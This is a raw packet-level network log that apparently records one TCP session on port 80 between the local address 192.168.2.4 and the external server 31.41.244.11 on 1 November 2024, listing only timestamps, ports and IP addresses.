Nov 1, 2024 10:57:11.282963991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.282968998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.282987118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283000946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283040047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283050060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283060074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283068895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283077002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283078909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283099890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283112049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283114910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283123016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283133984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283152103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283160925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283169985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283183098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283184052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283195019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.283200979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.283225060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.284064054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.284074068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.284084082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.284092903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.284112930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.284142971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.301781893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301793098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301801920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301826000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301836014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301845074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301855087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.301856041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301868916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301882982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.301882982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.301918983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.301958084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301968098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301976919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.301987886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302000999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302011967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302037001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302066088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302079916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302088976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302109003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302131891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302287102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302294970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302304029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302325964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302331924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302349091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302362919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302371979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302373886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302395105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302405119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302407026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302414894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302424908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302436113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302443027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302469015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302495956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302505970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302514076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302534103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302557945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302565098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302576065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302584887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302594900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302604914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302604914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302628994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302656889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302666903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302675962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302685976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.302695990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302705050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302731037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.302999973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303028107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303035975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303039074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303064108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303073883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303100109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303111076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303119898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303128958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303143978 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303145885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303163052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303169966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303174019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303184986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303185940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303210020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303234100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303263903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303275108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303284883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303296089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303307056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303308010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303322077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303344965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303371906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303371906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303405046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303416014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303426027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303436041 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303447962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303452015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303457975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303471088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303477049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303495884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303508997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303581953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303592920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303601980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303613901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303623915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303633928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303636074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303644896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303654909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303661108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303669930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303679943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303685904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303693056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303697109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303721905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303745985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303772926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303783894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303793907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303812981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303817987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303828001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303841114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303842068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303852081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303867102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303886890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303894043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303915024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303920984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303950071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303951979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303965092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303981066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.303988934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.303991079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304009914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304013014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.304022074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304030895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.304053068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.304080009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304090023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304100037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304110050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304121017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304125071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.304131031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.304142952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.304157019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.304181099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305361986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305372953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305382967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305418015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305442095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305448055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305464029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305476904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305489063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305499077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305500031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305526018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305538893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305628061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305655003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305664062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305668116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305685043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305699110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305700064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305711031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305721998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305744886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305775881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305783033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305794001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305805922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305826902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305834055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305845022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305854082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305854082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305874109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305879116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305885077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305901051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305912971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305924892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.305929899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305953026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305974960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.305998087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306009054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306019068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306030989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306041002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306062937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306068897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306073904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306083918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306092978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306099892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306123972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306127071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306135893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306145906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306160927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306176901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306186914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306189060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306209087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306221008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306221962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306246042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306262016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306272984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306355000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306391001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306395054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306405067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306427956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306432962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306448936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306452990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306461096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306468010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306483984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306499004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306528091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306539059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306550026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306560993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306565046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306571960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306576967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306595087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306618929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306653023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306745052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306755066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306787014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306796074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306797981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306809902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306822062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306849003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306864023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306881905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306895971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306902885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306906939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306924105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306925058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306935072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306937933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306947947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306957006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306960106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306962967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.306972027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.306983948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307012081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307060957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307071924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307080984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307091951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307106018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307112932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307112932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307126045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307136059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307141066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307154894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307173014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307178974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307189941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307199955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307209969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307229996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307241917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307384968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307396889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307408094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307424068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307430983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307435036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307442904 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307446957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307457924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307471037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307471991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307482958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307492018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307499886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307502985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307509899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307523012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307535887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307540894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307549953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307560921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307568073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307571888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307584047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307585955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307595015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307609081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.307611942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.307621956 CET	80	49820	31.41.244.11	192.168.2.4
